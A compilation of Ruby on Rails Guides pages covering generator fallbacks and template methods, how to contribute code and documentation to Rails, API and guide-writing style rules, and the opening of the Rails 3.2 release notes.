If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating `edit.html.erb`, `index.html.erb` and so on inside `lib/templates/erb/scaffold`.

7 Adding Generators Fallbacks

One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like **shoulda** does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a `TestUnit` generator if none was found under the `Shoulda` namespace.

We can easily simulate this behavior by changing our `config/application.rb` once again:

```
config.generators do |g|
  g.orm             :active_record
  g.template_engine :erb
  g.test_framework  :shoulda, :fixture => false
  g.stylesheets     false

  # Add a fallback!
  g.fallbacks[:shoulda] = :test_unit
end
```

Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:

```
$ rails generate scaffold Comment body:text
      invoke  active_record
      create    db/migrate/20091120151323_create_comments.rb
      create    app/models/comment.rb
      invoke    shoulda
      create      test/unit/comment_test.rb
      create      test/fixtures/comments.yml
       route    resources :comments
      invoke  scaffold_controller
      create    app/controllers/comments_controller.rb
      invoke    erb
      create      app/views/comments
      create      app/views/comments/index.html.erb
      create      app/views/comments/edit.html.erb
      create      app/views/comments/show.html.erb
      create      app/views/comments/new.html.erb
      create      app/views/comments/_form.html.erb
      create      app/views/layouts/comments.html.erb
      invoke    shoulda
```

```
      invoke    shoulda
      create      test/functional/comments_controller_test.rb
      invoke    my_helper
      create      app/helpers/comments_helper.rb
      invoke      shoulda
      create        test/unit/helpers/comments_helper_test.rb
```

Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.

8 Application Templates

Now that you've seen how generators can be used *inside* an application, did you know they can also be used to *generate* applications too? This kind of generator is referred as a "template".

```
gem("rspec-rails", :group => "test")
gem("cucumber-rails", :group => "test")

if yes?("Would you like to install Devise?")
  gem("devise")
  generate("devise:install")
  model_name = ask("What would you like the user model to be called? [user]")
  model_name = "user" if model_name.blank?
  generate("devise", model_name)
end
```

In the above template we specify that the application relies on the `rspec-rails` and `cucumber-rails` gem so these two will be added to the `test` group in the `Gemfile`. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the `Gemfile` outside of any group and then runs the `devise:install` generator. This template then takes the users input and runs the `devise` generator, with the user's answer from the last question being passed to this generator.

Imagine that this template was in a file called `template.rb`. We can use it to modify the outcome of the `rails new` command by using the `-m` option and passing in the filename:

```
$ rails new thud -m template.rb
```

This command will generate the `Thud` application, and then apply the template to the generated output.

Templates don't have to be stored on the local system, the `-m` option also supports online templates:

```
$ rails new thud -m https://gist.github.com/722911.txt
```

Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.

9 Generator methods

The following are methods available for both generators and templates for Rails.

Methods provided by Thor are not covered this guide and can be found in **Thor's documentation**

9.1 `plugin`

`plugin` will install a plugin into the current application.

```
plugin("dynamic-form", :git => "git://github.com/rails/dynamic-form.git")
```

Available options are:

- `:git` – Takes the path to the git repository where this plugin can be found.
- `:branch` – The name of the branch of the git repository where the plugin is found.
- `:submodule` – Set to `true` for the plugin to be installed as a submodule. Defaults to `false`.

- `:svn` – Takes the path to the svn repository where this plugin can be found.
- `:revision` – The revision of the plugin in an SVN repository.

9.2 `gem`

Specifies a gem dependency of the application.

```
gem("rspec", :group => "test", :version => "2.1.0")
gem("devise", "1.1.5")
```

Available options are:

- `:group` – The group in the `Gemfile` where this gem should go.
- `:version` – The version string of the gem you want to use. Can also be specified as the second argument to the method.
- `:git` – The URL to the git repository for this gem.

Any additional options passed to this method are put on the end of the line:

```
gem("devise", :git => "git://github.com/plataformatec/devise", :branch => "master")
```

The above code will put the following line into `Gemfile`:

```
gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master"
```

9.3 `gem_group`

Wraps gem entries inside a group:

```
gem_group :development, :test do
  gem "rspec-rails"
end
```

9.4 `add_source`

Adds a specified source to `Gemfile`:

```
add_source "http://gems.github.com"
```

9.5 `application`

Adds a line to `config/application.rb` directly after the application class definition.

```
application "config.asset_host = 'http://example.com'"
```

This method can also take a block:

```
application do
  "config.asset_host = 'http://example.com'"
end
```

Available options are:

- `:env` – Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows:

```
application(nil, :env => "development") do
  "config.asset_host = 'http://localhost:3000'"
end
```

9.6 `git`

Runs the specified git command:

```
git :init
git :add => "."
```

```
git :commit => "-m First commit!"
git :add => "onefile.rb", :rm => "badfile.cxx"
```

The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in.

9.7 `vendor`

Places a file into `vendor` which contains the specified code.

```
vendor("sekrit.rb", '#top secret stuff')
```

This method also takes a block:

```
vendor("seeds.rb") do
  "puts 'in ur app, seeding ur database'"
end
```

9.8 `lib`

Places a file into `lib` which contains the specified code.

```
lib("special.rb", 'p Rails.root')
```

This method also takes a block:

```
lib("super_special.rb") do
  puts "Super special!"
end
```

9.9 `rakefile`

Creates a Rake file in the `lib/tasks` directory of the application.

```
rakefile("test.rake", 'hello there')
```

This method also takes a block:

```
rakefile("test.rake") do
  %Q{
    task :rock => :environment do
      puts "Rockin'"
    end
  }
end
```

9.10 `initializer`

Creates an initializer in the `config/initializers` directory of the application:

```
initializer("begin.rb", "puts 'this is the beginning'")
```

This method also takes a block:

```
initializer("begin.rb") do
  puts "Almost done!"
end
```

9.11 `generate`

Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator.

```
generate("scaffold", "forums title:string description:text")
```

```
generate(:scaffold, "forums title:string description:text")
```

9.12 `rake`

Runs the specified Rake task.

```
rake("db:migrate")
```

Available options are:

- `:env` – Specifies the environment in which to run this rake task.
- `:sudo` – Whether or not to run this task using `sudo`. Defaults to `false`.

9.13 `capify!`

Runs the `capify` command from Capistrano at the root of the application which generates Capistrano configuration.

```
capify!
```

9.14 `route`

Adds text to the `config/routes.rb` file:

```
route("resources :people")
```

9.15 `readme`

Output the contents of a file in the template's `source_path`, usually a README.

```
readme("README")
```

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Contributing to Ruby on Rails

This guide covers ways in which *you* can become a part of the ongoing development of Ruby on Rails. After reading it, you should be familiar with:

- Using GitHub to report issues
- Cloning master and running the test suite
- Helping to resolve existing issues
- Contributing to the Ruby on Rails documentation
- Contributing to the Ruby on Rails code

Ruby on Rails is not “someone else’s framework.” Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation. All with the goal of making Ruby on Rails better for everyone. Even if you don’t feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.

Chapters

1. Reporting an Issue
    - Creating a Bug Report
    - Special Treatment for Security Issues
    - What About Feature Requests?
2. Running the Test Suite
    - Install git
    - Clone the Ruby on Rails Repository
    - Set up and Run the Tests
    - Warnings
    - Testing Active Record
    - Older versions of Ruby on Rails
3. Helping to Resolve Existing Issues
    - Verifying Bug Reports
    - Testing Patches
4. Contributing to the Rails Documentation
5. Contributing to the Rails Code
    - Clone the Rails Repository
    - Write Your Code
    - Follow the Coding Conventions
    - Sanity Check
    - Commit Your Changes
    - Update master
    - Fork
    - Issue a Pull Request
    - Get Some Feedback
    - Iterate as Necessary
6. Rails Contributors

1 Reporting an Issue

Ruby on Rails uses **GitHub Issue Tracking** to track issues (primarily bugs and contributions of new code). If you’ve found a bug in Ruby on Rails, this is the place to start. You’ll need to create a (free) GitHub account in order to either submit an issue, comment on them or create pull requests.

Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test *edge Rails* (the code for the version of Rails that is currently under development). Later in this guide you’ll find out how to get edge Rails for testing.

1.1 Creating a Bug Report

If you've found a problem in Ruby on Rails which is not a security risk do a search in GitHub Issues in case it was already reported. If you find no issue addressing it you can **add a new one**. (See the next section for reporting security issues.)

At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need to at least post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself – and others – to replicate the bug and figure out a fix.

Then don't get your hopes up. Unless you have a "Code Red, Mission Critical, The World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a "I'm having this problem too" comment.

1.2 Special Treatment for Security Issues

Please do not report security vulnerabilities with public GitHub issue reports. The **Rails security policy page** details the procedure to follow for security issues.

1.3 What About Feature Requests?

Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself – or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.

2 Running the Test Suite

To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you *must* be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer.

2.1 Install git

Ruby on Rails uses git for source code control. The **git homepage** has installation instructions. There are a variety of resources on the net that will help you get familiar with git:

- **Everyday Git** will teach you just enough about git to get by.
- The **PeepCode screencast** on git ($9) is easier to follow.
- **GitHub** offers links to a variety of git resources.
- **Pro Git** is an entire book about git with a Creative Commons license.

2.2 Clone the Ruby on Rails Repository

Navigate to the folder where you want the Ruby on Rails source code (it will create its own `rails` subdirectory) and run:

```
$ git clone git://github.com/rails/rails.git
$ cd rails
```

2.3 Set up and Run the Tests

The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.

Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's

```
$ sudo apt-get install libxml2 libxml2-dev libxslt1-dev
```

Also, SQLite3 and its development files for the `sqlite3-ruby` gem, in Ubuntu you're done with

```
$ sudo apt-get install sqlite3 libsqlite3-dev
```

Get a recent version of **Bundler**:

```
$ gem install bundler
```

and run:

```
$ bundle install --without db
```

This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back at these soon. With dependencies installed, you can run the test suite with:

```
$ bundle exec rake test
```

You can also run tests for a specific framework, like Action Pack, by going into its directory and executing the same command:

```
$ cd actionpack
$ bundle exec rake test
```

If you want to run tests from the specific directory use the `TEST_DIR` environment variable. For example, this will run tests inside `railties/test/generators` directory only:

```
$ cd railties
$ TEST_DIR=generators bundle exec rake test
```

2.4 Warnings

The test suite runs with warnings enabled. Ideally Ruby on Rails should issue no warning, but there may be a few, and also some from third-party libraries. Please ignore (or fix!) them if any, and submit patches that do not issue new warnings.

As of this writing they are specially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:

```
$ RUBYOPT=-W0 bundle exec rake test
```

2.5 Testing Active Record

The test suite of Active Record attempts to run four times, once for SQLite3, once for each of the two MySQL gems (`mysql` and `mysql2`), and once for PostgreSQL. We are going to see now how to setup the environment for them.

If you're working with Active Record code, you *must* ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.

2.5.1 Set up Database Configuration

The Active Record test suite requires a custom config file: `activerecord/test/config.yml`. An example is provided in `activerecord/test/config.example.yml` which can be copied and used as needed for your environment.

2.5.2 SQLite3

The gem `sqlite3-ruby` does not belong to the "db" group indeed, if you followed the instructions above you're ready. This is how you run the Active Record test suite only for SQLite3:

```
$ cd activerecord
$ bundle exec rake test_sqlite3
```

2.5.3 MySQL and PostgreSQL

To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run

```
$ sudo apt-get install mysql-server libmysqlclient15-dev
$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
```

After that run:

```
$ rm .bundle/config
$ bundle install
```

We need first to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).

In order to be able to run the test suite against MySQL you need to create a user named `rails` with privileges on the test databases:

```
mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
       to 'rails'@'localhost';
mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
       to 'rails'@'localhost';
```

and create the test databases:

```
$ cd activerecord
$ rake mysql:build_databases
```

PostgreSQL's authentication works differently. A simple way to setup the development environment for example is to run with your development account

```
$ sudo -u postgres createuser --superuser $USER
```

and after that create the test databases with

```
$ cd activerecord
$ rake postgresql:build_databases
```

Using the rake task to create the test databases ensures they have the correct character set and collation.

If you're using another database, check the files under `activerecord/test/connections` for default connection information. You can edit these files if you *must* on your machine to provide different credentials, but obviously you should not push any such changes back to Rails.

You can now run tests as you did for `sqlite3`, the tasks are

```
test_mysql
test_mysql2
test_postgresql
```

respectively. As we mentioned before

```
$ bundle exec rake test
```

will now run the four of them in turn.

You can also invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql`. Check out the file `activerecord/RUNNING_UNIT_TESTS` for information on running more targeted database tests, or the file `ci/travis.rb` to see the test suite that the continuous integration server runs.

2.6 Older versions of Ruby on Rails

If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:

```
$ git branch --track 3-0-stable origin/3-0-stable
$ git checkout 3-0-stable
```

You may want to **put your git branch name in your shell prompt** to make it easier to remember which version of the code you're working with.

3 Helping to Resolve Existing Issues

As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the **Everyone's Issues** list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:

3.1 Verifying Bug Reports

For starters, it helps to just verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing.

If something is very vague, can you help squish it down into something specific? Maybe you can provide additional information to help reproduce a bug, or eliminate needless steps that aren't required to help demonstrate the problem.

If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.

Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs – whether you end up writing the code yourself or not.

3.2 Testing Patches

You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need to first create a dedicated branch:

```
$ git checkout -b testing_branch
```

Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to the topic branch located at https://github.com/JohnSmith/rails.

```
$ git remote add JohnSmith git://github.com/JohnSmith/rails.git
$ git pull JohnSmith topic
```

After applying their branch, test it out! Here are some things to think about:

- Does the change actually work?
- Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?
- Does it have proper documentation coverage? Should documentation elsewhere be updated?
- Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?

Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:

> *I like the way you've restructured that code in generate_finder_sql, much nicer. The tests look good too.*

If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.

4 Contributing to the Rails Documentation

Ruby on Rails has two main sets of documentation: The guides help you to learn Ruby on Rails, and the API is a reference.

You can help improve the Rails guides by making them more coherent, adding missing information, correcting factual errors, fixing typos, bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see **Translating Rails Guides**.

If you're confident about your changes, you can push them yourself directly via **docrails**. docrails is a branch with an **open commit policy** and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.

If you are unsure of the documentation changes, you can create an issue in the **Rails** issues tracker on GitHub.

When working with documentation, please take into account the **API Documentation Guidelines** and the **Ruby on**

When working with documentation, please take into account the **API Documentation Guidelines** and the **Ruby on Rails Guides Guidelines**.

As explained earlier, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements.

To help our CI servers you can add [ci skip] tag to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.

docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.

5 Contributing to the Rails Code

5.1 Clone the Rails Repository

The first thing you need to do to be able to contribute code is to clone the repository:

```
$ git clone git://github.com/rails/rails.git
```

and create a dedicated branch:

```
$ cd rails
$ git checkout -b my_new_branch
```

It doesn't really matter what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails git repository.

5.2 Write Your Code

Now get busy and add or edit code. You're on your branch now, so you can write whatever you want (you can check to make sure you're on the right branch with `git branch -a`). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind:

- Get the code right
- Use Rails idioms and helpers
- Include tests that fail without your code, and pass with it
- Update the documentation, the surrounding one, examples elsewhere, guides, whatever is affected by your contribution

5.3 Follow the Coding Conventions

Rails follows a simple set of coding style conventions.

- Two spaces, no tabs.
- No trailing whitespace. Blank lines should not have any space.
- Do not indent after private/protected. Private/protected should have the same indentation as the methods around.
- Prefer `&&`/`||` over `and`/`or`.
- Prefer class << self block over self.method for class methods.
- `MyClass.my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`.
- a = b and not a=b.
- Follow the conventions you see used in the source already.

These are some guidelines and please use your best judgment in using them.

5.4 Sanity Check

You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you're doing and ask for feedback. Doing this in private before you push a patch out publicly is the "smoke test" for a patch: if you can't convince one other developer of the beauty of your code, you're unlikely to convince the core team either.

You might also want to check out the **RailsBridge BugMash** as a way to get involved in a group effort to improve Rails. This can help you get started and help check your code when you're writing your first patches.

5.5 Commit Your Changes

When you're happy with the code on your computer, you need to commit the changes to git:

```
$ git commit -a -m "Here is a commit message on what I changed in this commit"
```

5.6 Update master

It's pretty likely that other changes to master have happened while you were working. Go get them:

```
$ git checkout master
$ git pull --rebase
```

Now reapply your patch on top of the latest changes:

```
$ git checkout my_new_branch
$ git rebase master
```

No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.

5.7 Fork

Navigate to the Rails **GitHub repository** and press "Fork" in the upper right hand corner.

Add the new remote to your local repository on your local machine:

```
$ git remote add mine git@github.com:<your user name>/rails.git
```

Push to your remote:

```
$ git push mine my_new_branch
```

5.8 Issue a Pull Request

Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner.

Write your branch name in branch field (is filled with master by default) and press "Update Commit Range"

Ensure the changesets you introduced are included in the "Commits" tab and that the "Files Changed" incorporate all of your changes.

Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request." Rails Core will be notified about your submission.

5.9 Get Some Feedback

Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the **rubyonrails-core mailing list** or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.

5.10 Iterate as Necessary

It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a plugin.

And then...think about your next contribution!

6 Rails Contributors

All contributions, either via master or docrails, get credit in **Rails Contributors**.

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

API Documentation Guidelines

This guide documents the Ruby on Rails API documentation guidelines.

Chapters

1. RDoc
2. Wording
3. English
4. Example Code
5. Filenames
6. Fonts
    - Fixed-width Font
    - Regular Font
7. Description Lists
8. Dynamically Generated Methods

1 RDoc

The Rails API documentation is generated with RDoc 2.5. Please consult the documentation for help with the **markup**, and take into account also these **additional directives**.

2 Wording

Write simple, declarative sentences. Brevity is a plus: get to the point.

Write in present tense: “Returns a hash that...”, rather than “Returned a hash that...” or “Will return a hash that...”.

Start comments in upper case, follow regular punctuation rules:

```
# Declares an attribute reader backed by an internally-named instance variable.
def attr_internal_reader(*attrs)
  ...
end
```

Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the recommended idioms in edge, reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.

Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?

The proper names of Rails components have a space in between the words, like “Active Support”. `ActiveRecord` is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that’d be phenomenal.

Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.

Use the article “an” for “SQL”, as in “an SQL statement”. Also “an SQLite database”.

3 English

Please use American English (*color*, *center*, *modularize*, etc.). See **a list of American and British English spelling differences here**.

4 Example Code

Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.

Use two spaces to indent chunks of code—that is two spaces with respect to the left margin; the examples themselves should use **Rails coding conventions**.

Short docs do not need an explicit “Examples” label to introduce snippets, they just follow paragraphs:

```
# Converts a collection of elements into a formatted string by calling
# <tt>to_s</tt> on all elements and joining them.
```

```
#
#   Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
```

On the other hand, big chunks of structured documentation may have a separate “Examples” section:

```
# ==== Examples
#
#   Person.exists?(5)
#   Person.exists?('5')
#   Person.exists?(:name => "David")
#   Person.exists?(['name LIKE ?', "%#{query}%"])
```

The result of expressions follow them and are introduced by "`# => `", vertically aligned:

```
# For checking if a fixnum is even or odd.
#
#   1.even? # => false
#   1.odd?  # => true
#   2.even? # => true
#   2.odd?  # => false
```

If a line is too long, the comment may be placed on the next line:

```
#   label(:post, :title)
#   # => <label for="post_title">Title</label>
#
#   label(:post, :title, "A short title")
#   # => <label for="post_title">A short title</label>
#
#   label(:post, :title, "A short title", :class => "title_label")
#   # => <label for="post_title" class="title_label">A short title</label>
```

Avoid using any printing methods like `puts` or `p` for that purpose.

On the other hand, regular comments do not use an arrow:

```
#   polymorphic_url(record)  # same as comment_url(record)
```

5 Filenames

As a rule of thumb use filenames relative to the application root:

```
config/routes.rb            # YES
routes.rb                   # NO
RAILS_ROOT/config/routes.rb # NO
```

6 Fonts

6.1 Fixed-width Font

Use fixed-width fonts for:

- constants, in particular class and module names
- method names
- literals like `nil`, `false`, `true`, `self`
- symbols
- method parameters
- file names

```
class Array
  # Calls <tt>to_param</tt> on all its elements and joins the result with
  # slashes. This is used by <tt>url_for</tt> in Action Pack.
  def to_param
    collect { |e| e.to_param }.join '/'
  end
end
```

Using a pair of `+...+` for fixed-width font only works with **words**; that is: anything matching `\A\w+\z`. For anything else use `<tt>...</tt>`, notably symbols, setters, inline snippets, etc:

6.2 Regular Font

When “true” and “false” are English words rather than Ruby keywords use a regular font:

```
# If <tt>reload_plugins?</tt> is false, add this to your plugin's <tt>init.rb</tt>
# to make it reloadable:
#
#   Dependencies.load_once_paths.delete lib_path
```

7 Description Lists

In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):

```
# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>.
```

The description starts in upper case and ends with a full stop—it's standard English.

8 Dynamically Generated Methods

Methods created with `(module|class)_eval(STRING)` have a comment by their side with an instance of the generated code. That comment is 2 spaces apart from the template:

```
for severity in Severity.constants
  class_eval <<-EOT, __FILE__, __LINE__
    def #{severity.downcase}(message = nil, progname = nil, &block)  # def debug(message = nil, progname = nil, &block)
      add(#{severity}, message, progname, &block)                    #   add(DEBUG, message, progname, &block)
    end                                                              # end
                                                                     #
    def #{severity.downcase}?                                        # def debug?
      #{severity} >= @level                                         #   DEBUG >= @level
    end                                                              # end
  EOT
end
```

If the resulting lines are too wide, say 200 columns or more, we put the comment above the call:

```
# def self.find_by_login_and_activated(*args)
#   options = args.extract_options!
#   ...
# end
self.class_eval %{
  def self.#{method_id}(*args)
    options = args.extract_options!
    ...
  end
}
```

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Ruby on Rails Guides Guidelines

This guide documents guidelines for writing guides. This guide follows itself in a gracile loop.

Chapters

1. Textile
2. Prologue
3. Titles
4. API Documentation Guidelines
5. HTML Generation
6. HTML Validation

1 Textile

Guides are written in **Textile**. There's comprehensive documentation **here** and a cheatsheet for markup **here**.

2 Prologue

Each guide should start with motivational text at the top (that's the little introduction in the blue area.) The prologue should tell the reader what the guide is about, and what they will learn. See for example the **Routing Guide**.

3 Titles

The title of every guide uses `h2`, guide sections use `h3`, subsections `h4`, etc.

Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:

```
h5. Middleware Stack is an Array
h5. When are Objects Saved?
```

Use the same typography as in regular text:

```
h6. The <tt>:content_type</tt> Option
```

4 API Documentation Guidelines

The guides and the API should be coherent where appropriate. Please have a look at these particular sections of the **API Documentation Guidelines**:

- **Wording**
- **Example Code**
- **Filenames**
- **Fonts**

Those guidelines apply also to guides.

5 HTML Generation

To generate all the guides, just `cd` into the `railties` directory and execute:

```
bundle exec rake generate_guides
```

(You may need to run `bundle install` first to install the required gems.)

To process `my_guide.textile` and nothing else use the `ONLY` environment variable:

```
bundle exec rake generate_guides ONLY=my_guide
```

```
bundle exec rake generate_guides ONLY=my_guide
```

By default, guides that have not been modified are not processed, so `ONLY` is rarely needed in practice.

To force process of all the guides, pass `ALL=1`.

It is also recommended that you work with `WARNINGS=1`. This detects duplicate IDs and warns about broken internal links.

If you want to generate guides in languages other than English, you can keep them in a separate directory under `source` (eg. `source/es`) and use the `GUIDES_LANGUAGE` environment variable:

```
bundle exec rake generate_guides GUIDES_LANGUAGE=es
```

6 HTML Validation

Please validate the generated HTML with:

```
bundle exec rake validate_guides
```

Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set `WARNINGS=1` when generating guides to detect them. The warning messages suggest a way to fix them.

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Ruby on Rails 3.2 Release Notes

Highlights in Rails 3.2:

- Faster Development Mode
- New Routing Engine
- Automatic Query Explains
- Tagged Logging

These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the **list of commits** in the main Rails repository on GitHub.

Chapters

1. **Upgrading to Rails 3.2**
    - **Rails 3.2 requires at least Ruby 1.8.7**
    - **What to update in your apps**
2. **Creating a Rails 3.2 application**
    - **Vendoring Gems**
    - **Living on the Edge**
3. **Major Features**
    - **Faster Development Mode & Routing**
    - **Automatic Query Explains**
    - **Tagged Logging**
4. **Documentation**
5. **Railties**
    - **Deprecations**
6. **Action Mailer**
7. **Action Pack**
    - **Action Controller**
    - **Action Dispatch**
    - **Action View**
    - **Sprockets**
8. **Active Record**
    - **Deprecations**
9. **Active Model**
    - **Deprecations**
10. **Active Resource**
11. **Active Support**
    - **Deprecations**
12. **Credits**

1 Upgrading to Rails 3.2

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes:

1.1 Rails 3.2 requires at least Ruby 1.8.7

Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to

use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.

1.2 What to update in your apps

- Update your Gemfile to depend on
  - `rails = 3.2.0`
